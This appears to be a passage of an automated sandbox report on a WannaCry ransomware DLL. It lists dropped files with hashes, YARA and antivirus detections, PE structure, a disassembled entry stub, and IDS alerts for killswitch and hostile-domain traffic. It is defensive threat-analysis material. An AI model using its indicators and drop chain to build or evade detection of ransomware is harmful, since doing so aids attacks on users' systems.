                                                                                        Preview:{"class":"content","collections":[],"name":"LockScreen","propertyManifest":{"landscapeImage":{"type":"image"},"portraitImage":{"type":"image"},"showImageOnSecureLock":{"isOptional":true,"type":"boolean"},"onRender":{"type":"action"}},"properties":{"landscapeImage":{"fileSize":1808615,"height":1080,"sha256":"JM49C0jQR6u7yhX4xlgWMbaX/0EhyNmQFNAXm/Ht9GI=","width":1920,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\34de00544fa421472021e409430c19ca2174ffd8277362ac4c1847ef4338fa7e"},"portraitImage":{"fileSize":1628969,"height":1920,"sha256":"vIN9nH59NmHag0NC4v1C2MS6IRn1ScvauRpt7xJbhuc=","width":1080,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\f7171c70ca28a5eb702f9f3f1452d12a2fe1c80af647ff2e2ecb22034cb4776c"},"showImageOnSecureLock":{"bool":true},"onRender":{"event":"none","parameters":{"ctx.action":"setLockScreenHotspots","ctx.

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\d04edb701283497a9785d88eebcdcf04_1.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:UTF-8 Unicode text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):9506
                                                                                        Entropy (8bit):5.630744802541016
                                                                                        Encrypted:false
                                                                                        SSDEEP:192:LDKgq2+DKo2fAvK/W64tlHB5GI163G83XI16mFQpI167/:xyX16W83Y16yT16z
                                                                                        MD5:25474250932DB41C03F29C275A268317
                                                                                        SHA1:82D2A6BBFCAB6E6DEF4B9FC6864225E8F3821B9C
                                                                                        SHA-256:7BD042D3CB9209395FA29B6B7A3EDAE5AA6BA3354FFE6584556EBBC8D18AFFC2
                                                                                        SHA-512:2BC1A97A9572A9B30531DF7AF913A79831B54FE01F715BB25C818677989F6D8CF1430CC05102DDDDA66B8022D184555CEB8E7AD3C769956B4499B3E2172ACCCB
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"class":"content","collections":[],"name":"LockScreen","propertyManifest":{"landscapeImage":{"type":"image"},"portraitImage":{"type":"image"},"showImageOnSecureLock":{"isOptional":true,"type":"boolean"},"onRender":{"type":"action"}},"properties":{"landscapeImage":{"fileSize":1808615,"height":1080,"sha256":"JM49C0jQR6u7yhX4xlgWMbaX/0EhyNmQFNAXm/Ht9GI=","width":1920,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\34de00544fa421472021e409430c19ca2174ffd8277362ac4c1847ef4338fa7e"},"portraitImage":{"fileSize":1628969,"height":1920,"sha256":"vIN9nH59NmHag0NC4v1C2MS6IRn1ScvauRpt7xJbhuc=","width":1080,"image":"C:\\Users\\user\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\f7171c70ca28a5eb702f9f3f1452d12a2fe1c80af647ff2e2ecb22034cb4776c"},"showImageOnSecureLock":{"bool":true},"onRender":{"event":"none","parameters":{"ctx.action":"setLockScreenHotspots","ctx.

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338388\4c36159ae5ee4f6e9686eaabcf07c89c_1 (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):3357
                                                                                        Entropy (8bit):5.641814931670904
                                                                                        Encrypted:false
                                                                                        SSDEEP:96:KV7q+Gq+VSHt35E5yW8WL+SGnhu5yWmDq+j1:yq+Gq+oHt35f81GnbhDq+j1
                                                                                        MD5:1E240D1C39A0E2CFDBC135056CCC3A73
                                                                                        SHA1:34325D74968F4D06A86E867FF6126BFFC3EA7D69
                                                                                        SHA-256:FA73C41EA596FFA579A9C4B7787E558C7E057ABBC6F5B1AB079FEF8736D2F253
                                                                                        SHA-512:7F8CC034BBBD05C7D73BFCE9A6DAC0D2EBCA559D8C7D110E81EC97C32ED0891E7C388B56ECE6DF6665DBA927CDEBFF90BC15520AD95739A1B52ADBFA16A365D5
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"class":"content","collections":[],"itemPropertyManifest":{"templateType":{"type":"text"},"onRender":{"type":"action"}},"items":[{"properties":{"templateType":{"text":"hidden"},"onRender":{"event":"none","parameters":{"collectionId":"Start.Suggestions","ctx.action":"addTileToCollection","ctx.containerPath":"//item[0]","ctx.contentId":"4c36159ae5ee4f6e9686eaabcf07c89c","ctx.creativeId":"1658297378`128000000000402926`0`4c36159ae5ee4f6e9686eaabcf07c89c`3600`338388`137270880000000000","ctx.cv":"2jEoJg247UuXled6.0","ctx.expiration":"137270880000000000","ctx.placementId":"SubscribedContent-338388","onRender":"//item[0]/property[onRender]","templateType":"hidden"},"action":"addTileToCollection"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"},{"id":"//item[0]?eventName=click","name":"click"},{"id":"//item[0]?eventName=install","name":"install"},{"id":"//item[0]?eventName=installComplete","name":"installComplete"},{"id":"//item[0]?eventName=dislike","name":"

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338388\4c36159ae5ee4f6e9686eaabcf07c89c_1.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):3357
                                                                                        Entropy (8bit):5.641814931670904
                                                                                        Encrypted:false
                                                                                        SSDEEP:96:KV7q+Gq+VSHt35E5yW8WL+SGnhu5yWmDq+j1:yq+Gq+oHt35f81GnbhDq+j1
                                                                                        MD5:1E240D1C39A0E2CFDBC135056CCC3A73
                                                                                        SHA1:34325D74968F4D06A86E867FF6126BFFC3EA7D69
                                                                                        SHA-256:FA73C41EA596FFA579A9C4B7787E558C7E057ABBC6F5B1AB079FEF8736D2F253
                                                                                        SHA-512:7F8CC034BBBD05C7D73BFCE9A6DAC0D2EBCA559D8C7D110E81EC97C32ED0891E7C388B56ECE6DF6665DBA927CDEBFF90BC15520AD95739A1B52ADBFA16A365D5
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"class":"content","collections":[],"itemPropertyManifest":{"templateType":{"type":"text"},"onRender":{"type":"action"}},"items":[{"properties":{"templateType":{"text":"hidden"},"onRender":{"event":"none","parameters":{"collectionId":"Start.Suggestions","ctx.action":"addTileToCollection","ctx.containerPath":"//item[0]","ctx.contentId":"4c36159ae5ee4f6e9686eaabcf07c89c","ctx.creativeId":"1658297378`128000000000402926`0`4c36159ae5ee4f6e9686eaabcf07c89c`3600`338388`137270880000000000","ctx.cv":"2jEoJg247UuXled6.0","ctx.expiration":"137270880000000000","ctx.placementId":"SubscribedContent-338388","onRender":"//item[0]/property[onRender]","templateType":"hidden"},"action":"addTileToCollection"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"},{"id":"//item[0]?eventName=click","name":"click"},{"id":"//item[0]?eventName=install","name":"install"},{"id":"//item[0]?eventName=installComplete","name":"installComplete"},{"id":"//item[0]?eventName=dislike","name":"

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338389\b90004b023a9430a8cdab23e00685fdb_1 (copy)

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):1751
                                                                                        Entropy (8bit):5.576546760611906
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:YrLtmu8kLs/KWHUDi3bMYaHFzkwhHXre4+:EoPsgUcMnuGHX6d
                                                                                        MD5:20ED010078C55BFBE0DDC418779488B7
                                                                                        SHA1:C0D5F3526C62833914A7B6517000725E56D567DE
                                                                                        SHA-256:DB8B3D0BD0F46BE950CB992303E7E1449A24090BDCA7C2EE0159E584C5A92B02
                                                                                        SHA-512:3BB892EC17EE56B435E8A660B2C6AD7F91126B9EB992E48380D05B92405689542377B2C7F2E3203E2A26F26F02ABADEB89ACA8F089288C6C76C250F4BA4597C6
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"class":"content","collections":[],"itemPropertyManifest":{"noOp":{"type":"action"}},"items":[{"properties":{"noOp":{"event":"none","parameters":{"ctx.action":"noOp","ctx.containerPath":"//item[0]","ctx.contentId":"b90004b023a9430a8cdab23e00685fdb","ctx.creativeId":"1658297345`128000000001627409`0`b90004b023a9430a8cdab23e00685fdb`604800`338389`137271744000000000","ctx.cv":"2jEoJg247UuXled6.0","ctx.expiration":"137271744000000000","ctx.placementId":"SubscribedContent-338389","noOp":"//item[0]/property[noOp]"},"action":"noOp"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?CID=128000000001627409&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID={EID}&&PID=425116219&UIT=P-&TargetID=700333446&AN=85692862&PG=PC000P0FR5.0000000IRU&REQASID=430FDC1F11E54E67A45CD7B593DB4C63&UNID=338389&ID=1A4A490328ED3BBECC8505EAE64E45F5&ASID={ASID}&R

                                                                                        C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338389\b90004b023a9430a8cdab23e00685fdb_1.~tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\backgroundTaskHost.exe
                                                                                        File Type:ASCII text, with very long lines, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):1751
                                                                                        Entropy (8bit):5.576546760611906
                                                                                        Encrypted:false
                                                                                        SSDEEP:48:YrLtmu8kLs/KWHUDi3bMYaHFzkwhHXre4+:EoPsgUcMnuGHX6d
                                                                                        MD5:20ED010078C55BFBE0DDC418779488B7
                                                                                        SHA1:C0D5F3526C62833914A7B6517000725E56D567DE
                                                                                        SHA-256:DB8B3D0BD0F46BE950CB992303E7E1449A24090BDCA7C2EE0159E584C5A92B02
                                                                                        SHA-512:3BB892EC17EE56B435E8A660B2C6AD7F91126B9EB992E48380D05B92405689542377B2C7F2E3203E2A26F26F02ABADEB89ACA8F089288C6C76C250F4BA4597C6
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"class":"content","collections":[],"itemPropertyManifest":{"noOp":{"type":"action"}},"items":[{"properties":{"noOp":{"event":"none","parameters":{"ctx.action":"noOp","ctx.containerPath":"//item[0]","ctx.contentId":"b90004b023a9430a8cdab23e00685fdb","ctx.creativeId":"1658297345`128000000001627409`0`b90004b023a9430a8cdab23e00685fdb`604800`338389`137271744000000000","ctx.cv":"2jEoJg247UuXled6.0","ctx.expiration":"137271744000000000","ctx.placementId":"SubscribedContent-338389","noOp":"//item[0]/property[noOp]"},"action":"noOp"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?CID=128000000001627409&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID={EID}&&PID=425116219&UIT=P-&TargetID=700333446&AN=85692862&PG=PC000P0FR5.0000000IRU&REQASID=430FDC1F11E54E67A45CD7B593DB4C63&UNID=338389&ID=1A4A490328ED3BBECC8505EAE64E45F5&ASID={ASID}&R

                                                                                        C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                                                        Download File
                                                                                        Process:C:\Windows\System32\svchost.exe
                                                                                        File Type:ASCII text, with no line terminators
                                                                                        Category:dropped
                                                                                        Size (bytes):55
                                                                                        Entropy (8bit):4.306461250274409
                                                                                        Encrypted:false
                                                                                        SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                        MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                        SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                        SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                                        SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                        Malicious:false
                                                                                        Reputation:unknown
                                                                                        Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                                                        C:\Windows\mssecsvc.exe

                                                                                        Download File
                                                                                        Process:C:\Windows\SysWOW64\rundll32.exe
                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):3751936
                                                                                        Entropy (8bit):6.541038715400781
                                                                                        Encrypted:false
                                                                                        SSDEEP:49152:BnAQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAA:lDqPoBhz1aRxcSUDk36SA
                                                                                        MD5:56B8EEF0A0C3B9056F49A13A77FE32FE
                                                                                        SHA1:3886735261E8929EF1A089E723521C930FD1BB85
                                                                                        SHA-256:8FE91B3F3C7508DF917D1C3235398D41D111894DC4FA297504B6E439EA9A1943
                                                                                        SHA-512:09598ED0D0F773FF0B6DBA947F527A58863DB185FC92AD505AB2E8D26816FF5EA2DF08DD41E8EE4A57B3EF6DBB90073A2E6379C3BCF2D313577F1261BE8C9FFE
                                                                                        Malicious:true
                                                                                        Yara Hits:
                                                                                        • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (with the help of binar.ly)
                                                                                        • Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvc.exe, Author: Florian Roth (based on rule by US CERT)
                                                                                        • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvc.exe, Author: Joe Security
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvc.exe, Author: us-cert code analysis team
                                                                                        Antivirus:
                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                        • Antivirus: Metadefender, Detection: 87%, Browse
                                                                                        • Antivirus: ReversingLabs, Detection: 100%
                                                                                        Reputation:unknown
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U<S..]=..]=..]=.jA1..]=.A3..]=.~B7..]=.~B6..]=.~B9..]=..R`..]=..]<.J]=.'{6..]=..[;..]=.Rich.]=.........................PE..L...g.:0.....................08.......g...........@.......................... g......................................................1.. 6..........................................................................................................text.............................. ..`.rdata..............................@..@.data....H0......p..................@....rsrc.... 6...1.. 6.. ..............`...........................................................................................................................................................................................................................................................................................................................................................

                                                                                        C:\Windows\tasksche.exe

                                                                                        Download File
                                                                                        Process:C:\Windows\mssecsvc.exe
                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                        Category:dropped
                                                                                        Size (bytes):3514368
                                                                                        Entropy (8bit):6.5250408221172975
                                                                                        Encrypted:false
                                                                                        SSDEEP:49152:nQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAAL:QqPoBhz1aRxcSUDk36SA8
                                                                                        MD5:3233ACED9279EF54267C479BBA665B90
                                                                                        SHA1:0B2CC142386641901511269503CDF6F641FAD305
                                                                                        SHA-256:F60F8A6BCAF1384A0D6A76D3E88007A8604560B263D2B8AEEE06FD74C9EE5B3B
                                                                                        SHA-512:55F25C51FFB89D46F2A7D2ED9B67701E178BD68E74B71D757D5FA14BD9530A427104FC36116633033EAD762ECF7960AB96429F5B0A085A701001C6832BA4555E
                                                                                        Malicious:true
                                                                                        Yara Hits:
                                                                                        • Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\tasksche.exe, Author: Florian Roth (with the help of binar.ly)
                                                                                        • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\tasksche.exe, Author: us-cert code analysis team
                                                                                        • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\Windows\tasksche.exe, Author: ReversingLabs
                                                                                        Antivirus:
                                                                                        • Antivirus: Avira, Detection: 100%
                                                                                        • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                        • Antivirus: Metadefender, Detection: 85%, Browse
                                                                                        • Antivirus: ReversingLabs, Detection: 95%
                                                                                        Reputation:unknown
                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:..T...T...T..X...T.._...T.'.Z...T..^...T..P...T.g.....T...U...T..._...T.c.R...T.Rich..T.........................PE..L...A..L.................p... 5......w............@...........................5.................................................d.........4..........................................................................................................text....i.......p.................. ..`.rdata..p_.......`..................@..@.data...X........ ..................@....rsrc.....4.......4.................@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                        Static File Info

                                                                                        General

                                                                                        File type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                        Entropy (8bit):5.053364441527573
                                                                                        TrID:
                                                                                        • Win32 Dynamic Link Library (generic) (1002004/3) 99.60%
                                                                                        • Generic Win/DOS Executable (2004/3) 0.20%
                                                                                        • DOS Executable Generic (2002/1) 0.20%
                                                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                        File name:kBBdc7Aoj4.dll
                                                                                        File size:5267459
                                                                                        MD5:f729dae024382e4929d298cd7defdd45
                                                                                        SHA1:1cbea70e48f1302257147344823d2c54eb61b485
                                                                                        SHA256:8d8ba07fbd09c6a432054f7b835ec8b6a287e9df6b7dd6277976a3ac61ed98f6
                                                                                        SHA512:cd28279faab0bdb74867e6bb90153f7d49f69b62d4fad7ae31b75f1450911bd7455d945a41491c498b4902a54cbd162b4fabb840919365feec9bec930beb73b2
                                                                                        SSDEEP:49152:knAQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAA:UDqPoBhz1aRxcSUDk36SA
                                                                                        TLSH:AB36F601D2E51AA0DAF25FF7267ADB10833A6E45895BA66E1221500F0C77F1CDDE6F2C
                                                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.r_9...9...9.......=...9...6.....A.:.......8.......8.......:...Rich9...........................PE..L...QW.Y...........!.......

                                                                                        File Icon

                                                                                        Icon Hash:74f0e4ecccdce0e4

                                                                                        Static PE Info

                                                                                        General

                                                                                        Entrypoint:0x100011e9
                                                                                        Entrypoint Section:.text
                                                                                        Digitally signed:false
                                                                                        Imagebase:0x10000000
                                                                                        Subsystem:windows gui
                                                                                        Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
                                                                                        DLL Characteristics:
                                                                                        Time Stamp:0x59145751 [Thu May 11 12:21:37 2017 UTC]
                                                                                        TLS Callbacks:
                                                                                        CLR (.Net) Version:
                                                                                        OS Version Major:4
                                                                                        OS Version Minor:0
                                                                                        File Version Major:4
                                                                                        File Version Minor:0
                                                                                        Subsystem Version Major:4
                                                                                        Subsystem Version Minor:0
                                                                                        Import Hash:2e5708ae5fed0403e8117c645fb23e5b

                                                                                        Entrypoint Preview

                                                                                        Instruction
                                                                                        push ebp
                                                                                        mov ebp, esp
                                                                                        push ebx
                                                                                        mov ebx, dword ptr [ebp+08h]
                                                                                        push esi
                                                                                        mov esi, dword ptr [ebp+0Ch]
                                                                                        push edi
                                                                                        mov edi, dword ptr [ebp+10h]
                                                                                        test esi, esi
                                                                                        jne 00007F98D4FF90CBh
                                                                                        cmp dword ptr [10003140h], 00000000h
                                                                                        jmp 00007F98D4FF90E8h
                                                                                        cmp esi, 01h
                                                                                        je 00007F98D4FF90C7h
                                                                                        cmp esi, 02h
                                                                                        jne 00007F98D4FF90E4h
                                                                                        mov eax, dword ptr [10003150h]
                                                                                        test eax, eax
                                                                                        je 00007F98D4FF90CBh
                                                                                        push edi
                                                                                        push esi
                                                                                        push ebx
                                                                                        call eax
                                                                                        test eax, eax
                                                                                        je 00007F98D4FF90CEh
                                                                                        push edi
                                                                                        push esi
                                                                                        push ebx
                                                                                        call 00007F98D4FF8FDAh
                                                                                        test eax, eax
                                                                                        jne 00007F98D4FF90C6h
                                                                                        xor eax, eax
                                                                                        jmp 00007F98D4FF9110h
                                                                                        push edi
                                                                                        push esi
                                                                                        push ebx
                                                                                        call 00007F98D4FF8E8Ch
                                                                                        cmp esi, 01h
                                                                                        mov dword ptr [ebp+0Ch], eax
                                                                                        jne 00007F98D4FF90CEh
                                                                                        test eax, eax
                                                                                        jne 00007F98D4FF90F9h
                                                                                        push edi
                                                                                        push eax
                                                                                        push ebx
                                                                                        call 00007F98D4FF8FB6h
                                                                                        test esi, esi
                                                                                        je 00007F98D4FF90C7h
                                                                                        cmp esi, 03h
                                                                                        jne 00007F98D4FF90E8h
                                                                                        push edi
                                                                                        push esi
                                                                                        push ebx
                                                                                        call 00007F98D4FF8FA5h
                                                                                        test eax, eax
                                                                                        jne 00007F98D4FF90C5h
                                                                                        and dword ptr [ebp+0Ch], eax
                                                                                        cmp dword ptr [ebp+0Ch], 00000000h
                                                                                        je 00007F98D4FF90D3h
                                                                                        mov eax, dword ptr [10003150h]
                                                                                        test eax, eax
                                                                                        je 00007F98D4FF90CAh
                                                                                        push edi
                                                                                        push esi
                                                                                        push ebx
                                                                                        call eax
                                                                                        mov dword ptr [ebp+0Ch], eax
                                                                                        mov eax, dword ptr [ebp+0Ch]
                                                                                        pop edi
                                                                                        pop esi
                                                                                        pop ebx
                                                                                        pop ebp
                                                                                        retn 000Ch
                                                                                        jmp dword ptr [10002028h]
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al
                                                                                        add byte ptr [eax], al

                                                                                        Rich Headers

                                                                                        Programming Language:
                                                                                        • [ C ] VS98 (6.0) build 8168
                                                                                        • [C++] VS98 (6.0) build 8168
                                                                                        • [RES] VS98 (6.0) cvtres build 1720
                                                                                        • [LNK] VS98 (6.0) imp/exp build 8168

                                                                                        Data Directories

                                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x21900x48.rdata
                                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x203c0x3c.rdata
                                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x40000x500060.rsrc
                                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x5050000x5c.reloc
                                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_IAT0x20000x3c.rdata
                                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                        Sections

                                                                                        NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                        .text0x10000x28c0x1000False0.13037109375data1.4429971244731552IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                        .rdata0x20000x1d80x1000False0.072509765625data0.7346018133622799IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                        .data0x30000x1540x1000False0.016845703125data0.085238686413312IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                        .rsrc0x40000x5000600x501000unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                        .reloc0x5050000x2ac0x1000False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                        Resources

                                                                                        NameRVASizeTypeLanguageCountry
                                                                                        W0x40600x500000dataEnglishUnited States

                                                                                        Imports

                                                                                        DLLImport
                                                                                        KERNEL32.dllCloseHandle, WriteFile, CreateFileA, SizeofResource, LockResource, LoadResource, FindResourceA, CreateProcessA
                                                                                        MSVCRT.dllfree, _initterm, malloc, _adjust_fdiv, sprintf

                                                                                        Exports

                                                                                        NameOrdinalAddress
                                                                                        PlayGame10x10001114

                                                                                        Possible Origin

                                                                                        Language of compilation systemCountry where language is spokenMap
                                                                                        EnglishUnited States

                                                                                        Network Behavior

                                                                                        Snort IDS Alerts

                                                                                        TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                        192.168.2.4104.16.173.8049758802024298 07/20/22-08:08:39.045589TCP2024298ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 14975880192.168.2.4104.16.173.80
                                                                                        192.168.2.48.8.8.860612532024281 07/20/22-08:10:31.164984UDP2024281ET TROJAN Known Hostile Domain ant.trenz .pl Lookup6061253192.168.2.48.8.8.8
                                                                                        8.8.8.8192.168.2.453534832811577 07/20/22-08:11:41.863699UDP2811577ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com)53534838.8.8.8192.168.2.4
                                                                                        192.168.2.4104.16.173.8049820802024298 07/20/22-08:10:35.046398TCP2024298ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 14982080192.168.2.4104.16.173.80
                                                                                        192.168.2.48.8.8.850715532024281 07/20/22-08:12:24.849743UDP2024281ET TROJAN Known Hostile Domain ant.trenz .pl Lookup5071553192.168.2.48.8.8.8
                                                                                        192.168.2.48.8.8.860506532024291 07/20/22-08:08:38.980711UDP2024291ET TROJAN Possible WannaCry DNS Lookup 16050653192.168.2.48.8.8.8
                                                                                        192.168.2.48.8.8.856509532012730 07/20/22-08:09:59.972356UDP2012730ET TROJAN Known Hostile Domain ilo.brenz .pl Lookup5650953192.168.2.48.8.8.8
                                                                                        104.16.173.80192.168.2.480498202031515 07/20/22-08:10:35.073320TCP2031515ET TROJAN Known Sinkhole Response Kryptos Logic8049820104.16.173.80192.168.2.4
                                                                                        192.168.2.48.8.8.857361532012730 07/20/22-08:11:53.637084UDP2012730ET TROJAN Known Hostile Domain ilo.brenz .pl Lookup5736153192.168.2.48.8.8.8
                                                                                        104.16.173.80192.168.2.480497582031515 07/20/22-08:08:39.075584TCP2031515ET TROJAN Known Sinkhole Response Kryptos Logic8049758104.16.173.80192.168.2.4
                                                                                        192.168.2.48.8.8.861081532024291 07/20/22-08:10:34.985681UDP2024291ET TROJAN Possible WannaCry DNS Lookup 16108153192.168.2.48.8.8.8

                                                                                        Network Port Distribution

                                                                                        TCP Packets

                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                        Jul 20, 2022 08:08:39.027036905 CEST4975880192.168.2.4104.16.173.80
                                                                                        Jul 20, 2022 08:08:39.043658972 CEST8049758104.16.173.80192.168.2.4
                                                                                        Jul 20, 2022 08:08:39.044728994 CEST4975880192.168.2.4104.16.173.80
                                                                                        Jul 20, 2022 08:08:39.045588970 CEST4975880192.168.2.4104.16.173.80
                                                                                        Jul 20, 2022 08:08:39.062330961 CEST8049758104.16.173.80192.168.2.4
                                                                                        Jul 20, 2022 08:08:39.075583935 CEST8049758104.16.173.80192.168.2.4
                                                                                        Jul 20, 2022 08:08:39.075609922 CEST8049758104.16.173.80192.168.2.4
                                                                                        Jul 20, 2022 08:08:39.075730085 CEST4975880192.168.2.4104.16.173.80
                                                                                        Jul 20, 2022 08:08:39.075808048 CEST4975880192.168.2.4104.16.173.80
                                                                                        Jul 20, 2022 08:08:39.091593027 CEST4975880192.168.2.4104.16.173.80
                                                                                        Jul 20, 2022 08:08:39.108130932 CEST8049758104.16.173.80192.168.2.4
                                                                                        Jul 20, 2022 08:10:35.025101900 CEST4982080192.168.2.4104.16.173.80
